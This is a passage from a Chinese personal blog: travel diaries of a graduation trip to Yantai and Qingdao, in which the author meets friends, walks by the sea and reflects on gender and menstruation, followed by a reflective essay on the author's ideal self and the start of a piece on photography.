　　路上还有卖气球的人，气球很多，很大。还有各种奇怪的店。甚至还有给人编头发的路边摊，其中有一位戴花环的女性，背对我，看不清脸，但背影很漂亮，可惜当时手机出问题了，没拍下来。

　　第三站，红墙和海水浴场。

　　青岛今天空气很差。灰尘很多，兰不停咳嗽，出地铁口眼睛还进东西了，让人十分担心，在地铁口停了好一会儿。我递给了她一只口罩。治江不知为什么不要。

　　青岛的地铁线路简单，体验还可以。不过听兰说，冬天的地铁扶梯很冷，因为扶梯总是有一股妖风，吹得人打哆嗦。后面下扶梯时特别注意了一下，还真是。

　　我真的特别好奇这股风从哪里吹来，为什么每个站的扶梯口都有。 但是上网一搜，没有任何人提到，甚至相关条目都没有。

　　这件事在我心里成了未解之谜，一直到现在。

　　海大附近有堵“网红墙”，但我不喜欢这种“网红”的地方，于是此处略去不谈。

　　走到第一海水浴场入口处，我们都有些累，于是找个坐的地方聊起来。我问了一个疑惑很久的问题。

　　“就青岛这种氛围，你们为什么不谈个恋爱呢？感觉好可惜呀。”我很奇怪。

　　“找不到呀。”两人回答得差不多。

　　“怎么可能？这种环境下，没有十个也有八个想谈啊？”我更奇怪了。

　　然后我便听到了让人十分意外的回答。

　　如前文所述，兰与治江的学校，与青岛的氛围恰恰相反。男男女女各成两派，分立两侧，互不进犯互不干扰。无论是通知、聚会还是其它什么活动，都只会告知和邀请同性的人，只有工作上可能会对接“对面的人”。造成了如今这种局面。两个学校如此整齐划一，我竟不知说什么好。

　　感觉很奇怪啊。

　　其它还零零碎碎聊了很多，但印象深的，唯此。随后我们便进海水浴场去看海。

　　海水浴场人很多，大人小孩都有。沙滩的沙并不太软，约莫是被太多人踩了太多次，有些实。沙滩“一”字铺开，海岸与内边沙滩之间，高度差有些大，像堤坝。饶是如此，海水仍能漫上来。这种景观便构成了我对青岛的海的印象。

　　相比烟台，青岛的海更“凶猛”一些，而前者则更加温和。

　　我们三人都没脱鞋，也互不说话，就这样静静地看着海面。

　　我十分喜欢并享受这样宁静的时间。

　　忽然，兰不知从哪里搞到了一根小树枝，开始蹲下在沙滩写些什么。写在离海浪不远的地方，潮汐能漫上来淹没的位置。

　　她蹲在地上写东西的样子，我十分喜欢——很像一个孩子。十分可爱。

　　凑近看写的什么，看清后竟十分难为情。甚至有些害羞。

　　那是我的名字。

　　“快拍下来，要不待会儿就没了！”兰催促我。

　　我打算潮汐浸上来的一瞬间按下快门。

　　我们三个人的名字，与海浪潮汐的合影，就这样留了下来。此外，兰还画了一只小船，以及“毕业啦”三个字。画完小船之后，她还小心地问我：“旗子的方向是不是画反了？”

　　我当时有些想笑。在意这种细节的样子真的很可爱。

　　“这个不关键啦。我也不清楚。”

　　第四站，步行街与晚餐店。

　　我们一路走一路拍。青岛的那条知名小吃步行街里，什么奇怪的小吃都有。还有一些迷你服装店和微型首饰店。步行街走起来非常有一种春熙路的感觉，大概因为类似的地方我只去过春熙路吧。

　　我只能说治江真的铁直男，吃什么都说随便，去哪儿也都可以，玩什么全无所谓。跟这样的人在一起十分头疼，因为不大好安排。 我忽然想起，幼时我也是这样对待母亲的。 终于理解了那时母亲的心情。

　　上菜时，我对兰提议将摄影知识补完，也好她下次再被路人捉去拍照时，自己懂一点东西。

　　如前文所说，一家我们所有人都没吃过的店。幸而味道不错。

　　治江一开始什么都不吃，让人十分担心，最后才搞清楚是他中午吃多了……他说有些撑，歇会儿吃。还好他最后也做到了。

　　炸虾仁很好吃。我要说第三遍。

　　最后我想给他们说些什么，于是举起杯子。

　　我真的很感谢他们抽出时间陪我 ，尤其是治江，大约已经四五年没见过面了。他复读了一年，所以不与我和兰一起毕业。那一刹那，我真的好羡慕他还有一年的时间。

　　兰有了一份工作，一次极为罕见的语音通话中，我才得知。现在的她，大约也只用担心与寻觅另一半了吧。我一直相信，如她这样的性格，这决然不是问题。

　　“你这话讲得，饮料硬是喝出了敬酒的感觉。”治江笑说。

　　我笑笑没说话。

　　晚餐是治江结的账，我没抢过他。手机太卡了，更坚定了我要换手机的决心。

　　治江与我们的地铁方向不同，于是在某个换乘的地铁站里，与我们告别。

　　我拥抱了他。

　　我们的兰向导真的很厉害，规划了一整天的路线。 然后在一天的最后，这个笨蛋领我坐上了反方向的地铁…… 本来应该与治江方向一致的才对。

　　可能是玩了一天也确实太累了吧。 厉害也是真的厉害，在意识到之后，她又迅速规划了新路线，而且不是根据导航，而是坐过几站的记忆。

　　“这种事情发生过好几次了，”兰笑笑说，“坐反过起码三四次了吧。”

　　最后一个地铁站，她出站，我换乘。我张开双臂拥抱她，她也回应了我。 然后，我鼓起了可能是今天最大的勇气，忠诚地表达出今天的真实感受。

　　“今天很温柔，很喜欢。”

　　明天，我将跨越直线 647 公里的距离，去见本次旅行最后一个重要的人：灵。


　　南国微雪 Miyuki

　　2023 年 6 月 5 日

写在后面

　　第四天事件繁多，记叙点浩瀚，战线长。断断续续写了有五天。

　　未来四天，除了与灵在一起的那一整天之外，其余毕业旅行记录，将多为略写。

　　从第四天开始，加上毕业旅行对应日期与写作完成日期。

　　文中部分影像为兰所摄。

毕业旅行第三天（2023 年 5 月 20 日）

封面图

摄影师 | Samuel Regan-Asante

图源 | Unsplash

写在前面

3917 字 | 旅行 | 性别话题注意

正文

　　九点起床，等慧到十一点。其间忙些修图的工作。慧要去调理师那调理身体，半个小时多点，再赶过来。

　　后来她在后座上，话里满是笑意地跟我说：“早上被调理师问昨天是不是吃凉的了。”我想了想，好像她昨天是吃了根冰淇凌。“他怎么知道的？”“他说排出来的毒都是寒气。”我有些诧异：“还有这么玄学的事情？”“对呀。”然后呢？”“然后被骂了呗，骂得可惨了。”

　　听她在背后开始笑，我也跟着笑。

　　而知道她今天处在生理期，也是在这不久之前才知道的。

　　挂断她的视频通话后一个小时左右，她如约地骑了电动车来，我差点还没认出她，戴了个头盔。

　　电动车小，看起来精致，不是大号犷野的那种，把手车头都有挡风保暖被，但因为是夏天，看起来就很奇怪。问才知道是懒得取……

　　开始时我坐后座，但见她开得不是很稳，一路心惊胆战，便在一个十字路口提议让我来开。

　　“你会吗？”“我都这么问了，你觉得呢？”“那正好，我今早起来手臂有些酸痛，还在生理期，肚子也有些不舒服，你来吧。”

　　我听闻之后有些难过。本来帮她骑车心里还有些忐忑 ，毕竟挺长一段时间没骑过车了，得有一两个月了。但这下一听，再怎么也不能让她开了。

　　“那书包你帮我拿一下？”

　　我背了个书包，旅行用，挺重。什么东西都有，衣服牙刷充电线之类。书包便宜，质量不好，布料廉价，不透气。昨天太阳大，背包的 T 恤背面，全部汗湿了。

　　“行啊。”她答应下来，我看她把书包背上，坐上后座。

　　“要不你把包换到前面来？”我感觉后座后面空间不够，有挡板，很挤。

　　她想了一下，点点头。我看她把包换到前面，然后我便跨上前座准备骑车。

　　“好温暖。”

　　她在背后忽然说。

　　我一愣，然后瞬间明白了原因。

　　那一刹那，我真的特别特别难过，难过的同时泛出无尽的心酸。 像是自己经历了无数的辛苦，终于为别人做了一件好事却被误会为不怀好意那样，心境类似。

　　那个书包真的很重，背起来很热很不透气。所有我认为的、令人讨厌的缺点在此刻都变为了勉强的优点，而只是因为她是女性。

　　我觉得世界不公平到了极致。

　　所有人都讨厌时间碎片化，但女性在最美好的那些年纪，时间天然便是碎片化的。一个月要分为两个部分：生理期和非生理期。在前者的时间里要小心和忌讳各种东西；在后者的时间，生理疼痛的女性还会谨小慎微地计算下一次酷刑什么时候来临。像小学时老师让依次读课文一样忐忑又焦虑。

　　不是所有的女性都如此，但肯定有女性如此，并且数量不少。

　　而男性不用。男性的一个月就是完整的，可以自由安排，不必胆怯与忌讳什么。

　　幸运地遇到浪漫的爱情之后，大概还会有不少的女性去计算“前七后八”此类完全不可靠的数据与日期。如果提前或推迟了又会担心是不是哪里出现了问题。

　　而男性也不用。

　　觉得这个世界很可笑。

　　“绿灯了哦，你在发什么呆？”

　　“哦……”我竟发愣到没注意到红绿灯。

　　“我觉得你们好辛苦。”过了十字路口，我边骑边对身后的慧说。

　　“什么？”

　　“生理期。”

　　“我还好吧，没有特别辛苦，还好我不痛经。”慧说。语气里满是得意。

　　听着这种得意，我的心酸又加一层。其实这样的痛苦可以完全不用体验的，却只是因为天生，就注定了。

　　随后她说，她的一个朋友痛经，每个月都是。那几晚上暖宝宝不敢离开身体，恳求她接热水时万次强调一点冷水都不要接，然后在三分钟后说水凉了。

　　说实话，我真的不知道说什么好，于是沉默了很长一段时间。

　　“我希望你好好的。”沉默良久后，我只这样说。

　　我的性格注定了我不能成为一个十足的男性，而只能是一个在男性世界和女性世界之间游荡的人。每每听到生理期、化妆品、內衣、男性凝视等等话题时，我总觉得它们离我十分近，却同时也遥远得望尘莫及。总想开口说点什么，又因为自己是男儿身而觉得不配参与话题，也同时害怕被觉得傲慢、趾高气昂或者居心叵测、别有用心。于是每次都缄默不言。一直到现在。

　　我其实知道自己一直找不到爱情的问题出在哪里。这便是其中之一。 我太习惯于去性别化，害怕触及这个结界，于是便处成了朋友。 最后又会因为确实性别不同，难免被要求避嫌等等而断开联系。 哪怕我从来没有这种意思。 我知道的，我有没有这种想法，别人又看不出来。所以很正常。

　　但我珍视的，恰好也正是这些关系。男性之间很难找到这样高表达性的、令人舒适的关系。而这，也是天生所注定的。

　　所以这个世界真的很可笑。

　　我没把这些思绪同慧讲，只是听她的导航，载她一起到面馆吃午饭。同时听她说些乱七八糟的事情。

　　“在我的观念里，除了生与死，都是小事，” 我说， “于是推衍出来就是活着，所以安全和健康永远是第一位的。”

　　我听慧说，她骑车喜欢开快的，便这样跟她说。

　　“一定，一定要注意安全。”

　　慧说她骑车算很安全的，不像她父亲。

　　慧的父亲路怒，她坐副驾驶上系安全带都要随时握紧门把手。 一路开车一路超车。也因此赔了不少钱，每次从几百到几万不等。然而死性不改。

　　我叹息一声。 从小我便坐在父亲的摩托车后座，我知道驾驶安全对于一个人有多重要。 我那时坐上去可以什么都不用管，一路到家，困了甚至还能睡着。虽然父亲总是骂我——要是不小心掉下去怎么办。

　　“我骑车没有让你害怕吧？”

　　“还好吧，你都这样说了，我再害怕又能害怕到哪儿去，又不会出事儿。”

　　我听后只是笑。

　　“看来我来山东是专职当司机来了。”我笑笑说。

　　到点，下车，吃面。吃的途中聊些乱七八糟的话题，高中的人，见闻，趣事，观点，经历等等很多。

　　吃完之后她去了一趟洗手间。我当时并没有多想。

　　我还是太笨了。

　　“刚才跟你吃饭最后，就感觉它一直在往下流，”慧回来之后，一边用纸巾擦干手一边说，“去了才知道多恐怖，弄得满手都是血。回家又要换裤子了。”

　　语气消沉。我听后也有些难过。

　　上车，回车站。提前改签到青岛，三点多的动车。

　　“身体真的没问题了吗？”“没有了，现在。““真的吗？骗我没有棒棒糖哦。”“我骗你干嘛……”

　　“我尽量开快点到车站，如果中途身体出现了任何问题，有任何不舒服，一定一定要给我说哦。”我十分担心。上路之前，千次万次地跟她说。

　　“知道啦，啰嗦死了。”

　　我哭笑不得。

　　回程的路上，慧仍旧全程抱着书包。

　　离发车还有很长一段时间。我一直想为她拍张照，但她却与我说她不上镜，我很诧异。因为平时她发给我的自拍照，数量都是自己的好几倍了。

　　就算如此，她还是答应了。庆幸，同时也感谢。

　　我们一路聊，一路拍。最后想起，她以前似乎就挺想看我跳舞，于是就在她面前稍微试了一下。聊到舞蹈，我总是很开心也很有动力。能让一个人多了解了解总是不亏的。

　　最终离别时，要了一个拥抱。

　　下次见面，不知道是什么时候了。

　　千叮万嘱她骑车注意安全后，又独身一人，踏上了去青岛的旅途。


　　复兴号上的充电口救了我手机一命。出青岛站时，青岛阴冷潮湿，体感甚至有些寒意。远处的暗绿色墙体大厦，在二十分钟内被雾遮了又遮，蔽了又蔽。

　　天气如此，且长途旅行，手上黏糊糊的，有些不舒服。这种情况下，拖着两包一袋的东西还找了半个多小时住处，实在找不到才给房东打了电话。

　　住处在 24 楼。准备放下行李去见柚子。

　　房东核对信息，办理手续，此过程中，还签了一份租赁合同。当她拿出那一沓类收据本的长条型短租协议时，我一愣。民宿现在都这么正规了吗？我想。

　　好奇一问，房东才用她沧桑的声音说：“现在都要求这么搞，跟宾馆酒店的手续是一样的，只是不是酒店。公安那边要查，挺麻烦的。”

　　原来如此。我仔细看了一遍协议，确认没有问题。

　　正抬起头，听到房东说：“我这有个相机包，我儿子出去了用不到，一直丢家里。我们也用不上，放着也占柜子，都准备扔了，看你有个相机，就送你吧。”

　　我一怔，抬头看，房东慈祥的脸上，眼角泛着深深的笑意。

　　相机包比我的那个要大。佳能。收下了。那刻起，行李变成三包一袋。青岛，也在我心中，稍微改观了些。

　　而这，才刚刚开始。

　　青岛本来给我的感觉没有烟台好，但这后面一天半的时间，青岛和青岛的人们，对我抱以了无限的好意与温柔。

　　房间很小，大约正方形，边长仅臂展多一点，塞进一架床一个独卫。床大约也刚好睡下我，但我不在意。丢下行李，见柚子。

　　青岛站外见到他时，我很意外。因为与我想象中的他，差距极大。起码外表上是这样。不过我大约也习惯了。

　　他思考时，给我一种喵喵的冷静。

　　他素食，而且几乎所有香辛料都不吃，所以很难搞。他反复强调了没关系之后，我便只好点一个人的菜了。面条侠今天变回去了，晚饭吃的饭。

　　那家川菜馆里的回锅肉应该改名叫豆瓣酱炒肉。一点都不好吃，还卖那么贵。哼。

　　我一路上只专注地与他聊天，从青岛站走到栈桥，又走回来。我以为当时只是一个随便的公园，不知道名字，也没想过那竟是风景区。

　　海关大楼很霸气。

　　我们聊了很多话题，关于摄影，关于健康，关于他的抑郁症等等。他的摄像头似乎从来只用作备忘，拍些实验结果，组织样本和解剖图之类。

　　一路上几乎都是我说，他听。这样的形式以前也发生过，所以并不多想。而且，他说很多话题都很新鲜，听听没什么坏处。

　　他有疑问的地方自会打断我。

　　我衷心地希望他能缓慢却有效地与自己的抑郁和解，所以我给出了我的分析与建议。希望他不会觉得傲慢。

　　见面之前，是他说想要一个拥抱，分别时，他却自己都忘掉了，还是我提起。

　　回到住处，父母打了电话。出去旅行这几天，几乎一天一通，有时甚至更多。

　　晚上看到开源说他六月有旅行，一问，发现也打算来青岛。青岛和云南。而且也打算一个人。“带几个兄弟，也不是不可以。”他发消息过来。“不带女孩子吗？你这么有人缘。”我问。

　　“虽然确实分人，但大多数女生出去旅游都很难伺候，”他说，“尤其是那些长得好看的，我不习惯惯着她们。跟兄弟出去多自在。”

　　我没经历过，不知道，所以只是笑笑。

　　关掉手机，睡觉。

　　那时我还不知道，第四天将是多么温柔的一天。

写在后面

　　第三天开始清理 CMOS 上的异物，所以没有了污点。图片如果需要保存，敬请随意。

　　性别话题并非笔者所意愿，第三天印象如此。望请原谅。

毕业旅行第二天（2023 年 5 月 19 日）

封面图

摄影师 | Cristofer Maximilian

图源 | Unsplash

写在前面

2407 字 | 旅行

正文

　　从宾馆出来，是早上九十点钟。离与慧慧约定的时间还很久，所以打算吃个早饭去不远的金沙滩公园看海。

　　沿途没看到几家餐馆，唯一一家面馆，普通的牛肉面要二十多，杀人抢劫啊这是。最后找了一家名为“朝鲜面”的店，店里也只卖这一种面。说实话，不太好吃。店里很长一段时间也只有我一个客人堂食。

　　吃面途中听到店家给 95588 回电话，让工行的人不要再打电话给她，情绪强烈而激动。心里觉得：原来每个人都讨厌银行啊……然后转念想到自己马上也要成为银行的人了，有些哭笑不得。

　　吃完，出发，去海边。金沙滩公园本身没有树，都是沙滩，不过路上有一个树很漂亮的公园，园里还有很多奇怪的、我从来没见过的鸟。

　　麻雀不管在哪都能看到呢。我这样想着，穿过公园和一条公路，然后便被眼前的景象所震撼。

　　在公路上便感受到一股强烈的风，我未曾想那就是海风。也未曾想过建筑、沙滩与海能结合得这样紧密而自然。

　　眼前一眼望不到边的沙滩，被太阳映射得金黄灿烂。往尽头看去，能看见城市建筑，那些高楼大厦呈弧线隐没在海平面上。

　　每靠近海边几步，都能感受到风越来越强，吹得耳廓不断传来强风留下来的猎猎声响；每靠近海边几步，都能感受到体表温度一点点下降，正是正午，海风的凉意却让人冷静，冷静却又欣喜；终于到达海边，耳边风声加入海浪拍击的声音，似一琴一瑟，相互和鸣，让人清晰地感知到在海边，鼻子闻到的淡淡腥味更加深这一印象。

　　朝远方望去，大人陪着小孩子堆沙堡、捡贝壳，零星几个人站在海浪里朝同伴笑，还有一个人在一条长长的甬道尽处钓鱼，而离钓鱼人不远处的海平面上，是一座高楼建筑，下部完全消失，只留一个尖尖的顶部。或许对岸的那座大厦离这边的岸太远了吧，我想。

　　我赤脚沿着岸边走，感受着海水没过脚尖的感觉。

　　看一个大人提着小桶在甬道起始处的水凼里捡贝壳，然后拿给孩子们看，随后编织太阳帽下传来两人爽朗的笑声。

　　四名少女站在海浪里朝海平面大喊，然后回头冲着同伴们笑。强劲的海风吹起她们的裙摆，像飞散在空中沿一边高飞的蒲公英。 那幅画面真的很漂亮，有一种美学意义上的美与享受。

　　与钓者攀谈，他似乎有些无奈，说附近似乎没有鱼，随后又把视线投回波动的海面，他似乎站在那里已经两三个小时了。

　　缓缓彳亍到另一边供游客起航游艇的码头。正午，下班时间，没有人。

　　只有不知哪里悬挂的风铃，一声，一声，散落在风中，而后消失。那铃声闪闪烁烁，若有若无，似是远古的召唤——微弱，却永不停息。

　　山是静止的，鸟兽可动，但那并不是山；海是高歌的，海浪本身就是海，一击一击奏响着无尽的歌。

　　作为一个大山的孩子，我在海身上，体会到了无尽的生命力。

　　住在海边真好啊，我这样想着。海风将海给予我的感动弥散在心里， 也是在这一瞬间，我蓦地特别想有一个人在身边，一同分享这种心情。

　　不过此时，我终究是孤独的。 就算有人分享，大概我也无法言说吧。这种感动，任何辞藻修饰都贫瘠乏力。

　　我们还会再见的。我回头看着海平面，这样默念道。

　　随后，朝着烟台南站出发。那里，是我与慧碰面的地方。

　　慢悠悠地摇了一个小时左右的公交车，到达目的地。途中兴趣使然，同昨天一样，搜了一下公园到车站的打车价位，眼前跳出的数字以 7 打头。我笑笑摇头关掉手机。

　　慧的打扮很酷。黑白扣环鸭舌帽，一袭黑衣，配上黑色长发，给人一种冷峻的感觉。

　　嗯，如果塞人零食的时候没有破功就更好了。就这样，我的行李从两个包变成了两包加一袋。

　　慧还有一个朋友，因为目的地与我们不同，并且车快到站检票了，就先离开了。事后慧与我说，她朋友觉得没合照有些可惜。那一刻我觉得有些对不起那个人。

　　动车上，我时而看风景，时而注视着她，同时讲昨天的奇妙经历。

　　一路上，风力发电机的扇叶从未离开过视野。在四川那边是决然看不见这种景象的。

　　慧有个箱子，听她说全是衣服。我有些哭笑不得，问她有几个身体，这么多穿得过来吗。她笑了笑。于是一个行李箱两个包一袋零食外带两个人到处跑。

　　她途中买了根冰淇凌和一杯奶茶，问我要什么。我说一杯柠檬水，不加糖。店家瞪大眼睛问我一点糖都不加吗。我点点头。但就算这样那家的柠檬水还是没什么味道……

　　见了忆雨，这人是慧的朋友，很要好。慧管他叫星星姐，却是个男生。不过我已经见怪不怪了……

　　说实话，当天下午不太愉快，大概是这人与我相克吧，有挺多话和行为不太理解。最生气的时候是我在跟他说事情，然后他起身给一个老人让座，老人不坐，他又坐回来，然后问我为什么不给老人让座。我：？

　　当时真的一股火气冲上心头。

　　具体更多事情与细节就不写了，大约你也不会爱看。

　　当天下午发生的事情约莫就是因为不愉快，所以记不清了。记清的只有两点：1.导师在论文上传系统关闭的前几个小时突然又跟我说论文哪里有问题，要改。然而好几天之前也是她跟我说可以定稿了。当时觉得导师超有病，但只能在公园里改论文。2.慧在公园里乱跑，像小孩子一样，很可爱。

　　慧的父母不让她久待，于是先回去了。剩下我和忆雨两个人。我提议先把晚饭解决了，他说这附近不好吃。随后我又提出几个方案全被否决，当时有点生气，问他有什么好点子，忆雨半天说不上来。讨论半天，公交车已经停止运营了，打车回去又太贵，我说那我走回去吧，也才六公里。他也没个准。我就直接走掉了。

　　最后我真的走了六公里走回住处的，连带路上找面馆吃面，一共花了两个小时左右。从傍晚到黑夜。这段经历直接促成了我提前一天到青岛的决定。莱阳到青岛的车票从后天早上改签到明天下午，然后在青岛临时找了个住处，又和当晚老板协商退一晚的房钱。

　　幸而都没出什么大问题。

　　兰州拉面馆里的辣椒酱还有些辣。

　　走回住处的路上，看见有两三个人蹲在路边讨论着什么，湊近一看，草丛里有一窝小猫正在四处走动，每一只都很小，很可爱。

　　路上还接到了快递员催拿三方协议的电话，顿时觉得有些焦头烂额。

　　所以对第二天的整体印象，大概只有海边很漂亮。

　　而对于慧，与她之间发生的印象深刻的事情，全在第三天。

写在后面

　　因拍摄时没有注意相机 CMOS 上沾有异物，所以部分影像画面会有污点。

毕业旅行第一天（2023 年 5 月 18 日）

封面图

摄影师 | Tom Barrett

图源 | Unsplash

写在前面

2301 字 | 旅行

正文

　　出发时发生了一点意外，折回去拿 iPad。我原本以为它派不上什么用场，但事实证明，iPad 确实是节省电量的一个好帮手。

　　我的手机真该换了。4 年前的手机，到现在电量撑不过两个小时。

　　天府机场很远，远到地铁最后两站，每站都要隔十几分钟。而且最后两站，竟不在地下。窗外望去，可以看见苍翠的山林。这时地铁与动车大约没有分别了吧。

　　出地铁口便是 1 和 2 号航站楼的入口。很大。大得人心慌。曾记得有种疾病，叫做空旷恐惧症。我想我在那一瞬间体会到了这种感觉。

　　第一次坐飞机，碰上这么大的场面，我实在有些不知所措，于是给室友打了电话。得到回复与指引，方才安心下来。

　　行李不多，不需要托运。补打登机牌，过安检，找寻登机口，登机，一气呵成。

　　中途遇上了一个大我几岁的陌生人，他也是第一次坐飞机，不懂流程。我笑笑说我也是第一次。虽这样说，还是帮他打了登机牌。

　　我们安检的速度不同，于是他便又消失在人群中。

　　机场的安检真的很严格，还需要脱鞋。

　　等到飞机上，才发现自己的位置位于机翼旁边。望向窗外，很多视野被机翼占据。这个位置，优劣各持吧。拍下的相片，能够鲜明地看见机翼，也别有一番趣味。特别是夕阳的天际与反光搭配在一起，美丽而震撼人心。

　　飞机航行在下午和晚上，能看见夕阳与落日。夕阳沉下的那一刻，天际线发出淡淡的蓝光。幽暗，鲜明，昭示夜晚的来临，那蓝光像是滴入水中的墨，恣意散开。

　　正因航行时间如此，所以飞机上备有航空餐。

　　中国国际航空公司的航空餐，分量很少，我想飞机餐大抵都如此吧，也或许是真的饿了。一小块柑橘面包，一袋胡萝卜丁和竹笋丁，然后是炒饭。旁边划出一格放置餐具和湿巾。那一栏甚至还有榨菜，我不理解。榨菜是某个四川的公司，清淡口味，大概是怕有乘客辣椒不耐受吧。柑橘面包上鲜明地标注了成分，其前配几个大字：可能的过敏原。炒饭有两种口味可以选，因不喜欢吃鱼，所以选择了猪肉。事实证明，大约应该都差不多。炒饭里，有的米粒还是白色，没有炒熟……

　　饮料倒是有很多选择，国航提供矿泉水，茶，可乐，橙汁，还有咖啡。咖啡甚至还完整提供奶精和糖浆。

　　客舱内有些压力。在飞机里经常耳鸣，让人有些不舒服。

　　飞机上不许用充电宝，不过国航有机载电源，USB 口就可以充电，挺好。正因为如此，我可以放心地写下我一直想写但迫于繁忙搁置的文章。

　　当《理想的南国微雪》一文写完时，飞机正好降落。彼时已入夜，距离地面很远的高空便能看见连成一片的城市灯光，或明或暗，或密或稀。降落过程中，机窗外的红点格外惹人注目，我不知道那是什么，正在猜测时，飞机猛地一顿，落地完成。

　　第一次坐飞机的落地，于我而言，无感。这大约也是夜晚的恩赐吧。

　　出机场的时候，我的感触只有两个：云海和平流层真的很漂亮，以及，空乘人员压力看起来真的很大，尤其是女性乘务员。也不知道他们是怎样释放压力的……那种待客态度，要是自己的话，大概不出一个星期我就会疯掉吧。

　　烟台的晚上很冷。

　　坐机场巴士时，出了点意外。

　　高德地图，显示机场巴士可以在中途站下车，然后步行便可以到住处。但等到离住处越来越远的时候，我才发现情况不对。解开安全带，问司机，得知完全不过中途站。慌了。找个最近的站，下车，打滴滴。

　　一上车，我说了一下情况，问师傅怎么回事。滴滴师傅一愣，问我是不是坐错路线了。

　　“怎么会坐错路线？我买的就是那个票呀！”

　　“那你也得给师傅说去哪儿啊，不同的路线，下的高速口都不一样。”

　　机场巴士好像同一个目的地，同一个上车点，都有不同的路线，还有大小班，大班直接去目的地，小班中途站停车。这都是我后面才知道的。

　　滴滴师傅人真的很好，是这次旅途中见到的第一个友善的人。

　　我说，我是四川来烟台玩的。他笑了一下，问成都的吗。我想想，大概外省人只知道成都，便说是。然后师傅说他原来跑过长途，跑过机场，就遇到过一个要去成都的，但因为有人接那个客，所以高速都没下就又回来了，没怎么去玩过。

　　“那您去过哪些城市觉得好玩呢？”

　　“长沙啊。长沙那是真好玩，晚上可热闹了，让人都不想回家。”

　　师傅去长沙好像也是一个客人要去，就跑长途，后来因为被投诉还是罚款怎的，去了这一趟没着赚到钱。

　　“赔本去的。想想又气不过，索性就在长沙玩了两天，反正不会再怎么来了。长沙那是真好玩。”

　　“那烟台呢？”我问。

　　“烟台？烟台全国出了名的没有夜生活！”师傅笑，“你看看这个时候还有几家店开着？”我往车窗外望去，基本所有店铺大门紧闭，显得夜晚，寂寥而清冷，我刚来就有这种感觉了——烟台的晚上未免太冷了些，各种意义上的冷。

　　“你来我给你指个地方，要是你半夜觉得饿，就去这儿找吃的，对，就这，方圆半里的只有这里还有点吃的了。离你住的地方也近，就在对面，走两步路就到了。”

　　师傅往窗外指去，随后两分钟内，到了目的地。那是我旅途中第一次感动。除了家人外，很少有人再关心另一个人饿不饿了。

　　就这样我别过了师傅，来到宾馆。师傅山东味普通话让人有些听不懂，聊天零零整整只能听懂一半，剩下靠猜，联系上下文。但这没有关系，我感受到了温暖。

　　在宾馆见到了给我补退差价的那个伙计，他抽烟。

　　旅途第一晚上有些睡不着。想起机场巴士坐过站了觉得气，又想起师傅说我这个住处在机场打出租没人会接，因为太近了回本不了本，要是滴滴倒有可能。师傅应该不是宽慰我的遭遇，而是因为自己真的跑过机场。于是半夜挣扎着起床看了一下机场到住处打滴滴多少钱。

　　一看 110 多……现在想来，机场巴士坐过站，加坐师傅的车加起来也不过 50 多，算是因祸得福吧。

　　随后安心睡去，睡得很香，只是第二天醒得有些频繁，5 点、8 点、9 点各醒了一次。

　　至于杜小姐所说的烟台很漂亮，我终于在第二天领略到了。

写在后面

　　因拍摄时没有注意相机 CMOS 上沾有异物，所以部分影像画面会有污点。

理想的南国微雪

封面图

摄影师 | Zhouhl

图源 | Life

写在前面

1152 字 | 自我 | 思考 | 成长

正文

　　这篇文章，写于飞机上。这是一个想写许久的话题，然而一直没有时间。

　　此时此刻，在这高空之中，思考自己最想成为的理想模样。如果真的有天堂，我想，此刻应该是距离最近的时候了。天堂的自己，应该是理想的模样吧。

　　南国微雪到大学之前的人生，似乎都是一种铺垫。为了大学之后仅仅两年便完成的华丽转变。

　　铺垫和高潮相辅相成，我不能够否认，那些铺垫也是我的人生。仅属于我的人生。

　　在此之前，我看重爱情，那之后，看重友情；学习与工作那之后次序也下降，让位于陪伴；更不提由阴暗腼腆到开朗大方的性格转变。

　　现在也是人生之旅的一站。以后大概会有更多的想法加以补充，观念转头改变，不过这都不重要。

　　要紧的是，自己理想的模样，有着许多永恒的标准。

　　失恋过后，我给自己写下了七条箴言，我想，大概那便是我最初想要的样子。 1. 开心一点；2. 爱情并非全部；3. 永远有人更优秀；4. 摆脱傲慢；5. 接受好意；6. 降低期待；7. 努力生活。 那段时间很痛苦，看见番茄与荧光棒，便触目神殇。我决心不再做这样的人。

　　我收到过很多朋友送的礼物。他们大多完好地保存在我的小窝里某处。每每拿出便有回忆涌上心头。我很喜欢这些东西，也知道他们背后承载的意义。

　　压力可能是我最想聊的一点。高中家里的某一天，父亲进家门，见我玩手机，劈头盖脸一顿骂。彼时我很难过，躲到自己的屋里一顿哭。不久后，父亲敲门道歉。父亲说，对不起，我只是不希望你像我一样这么苦，好好读书。我说，对，你进来看到我在玩手机，但不知道在这之前，我刚把作业做完，而且学会了之前从来不会做的题，我那个时候，刚做完，想玩儿会儿手机。

　　我不敢说了解父亲的压力，我只知道工作很累。那之后我在想，会不会有一天，我也会这样？对自己爱的人，亲近的人撒气？

　　那时候我便决定了：爱与感情，并不能成为宽容情绪戾气的理由。

　　温柔、勇气、责任、能力、宽容、冷静和应变能力。 这些都是我想要的东西。贪婪，但它们或多或少在每个人身上都有体现，多寡而已。我想将其成长到最盛。

　　我自私，所以我想有人记得我；我贪婪，所以想做尽可能多的事情，爱尽可能多的人们；我懦弱，所以我也希望有人保护我，与此同时，也想保护更多的人。

　　人大概就是这样一种生物吧。微雪也不例外。

　　当我的梦想清单所有项有个结束，当我把工作和生活平衡好，当我能对喜欢的人鼓起勇气表白，当我拥抱难过的朋友和家人，我想，那个时候就已经足够了。

　　我确信我在一步步地接近那个理想中的我。理想中的南国微雪。

　　写到此处，飞机正好降落。我要去见重要的人了。

　　行文至此，悉数掷笔，未尽之事，随风随念。


　　南国微雪 Miyuki

　　2023 年 5 月 18 日

　　于旅途的飞机上

写在后面

　　封面图为朋友在杭州灵隐寺所摄。虽与本文时间不符，但蔚为喜欢，特此用作封面图。

自私地摄影

封面图

摄影师 | Lee Campbell

图源 | Unsplash

写在前面

986 字 | 摄影 | 朋友 | 生活 | 成长 | 自我

正文

　　相机大四买的。我不清楚为什么会有这个想法，部分原因是手机拍照太差，对外托辞也是此理由，总之买下了。

　　以前自己截然相反，恐惧镜头。不说自拍，甚至于风景照都没留下几张。所以以前的记忆，于我而言，几乎断代。

　　上大学，他们改变了我。

　　彼时，我大三，我们都知道大四会很忙，只是并非校内的事。于是朋友们对我们这届的人，实施了一个秘密计划。

　　视频放出来的那个晚上，我们四人凝噎良久，几近无言。我们后来都说，二十多年间，没有遭遇过这样盛大的感动。大约因秘密进行，惊喜意味更填满心间。

　　“你们什么时候准备的？”

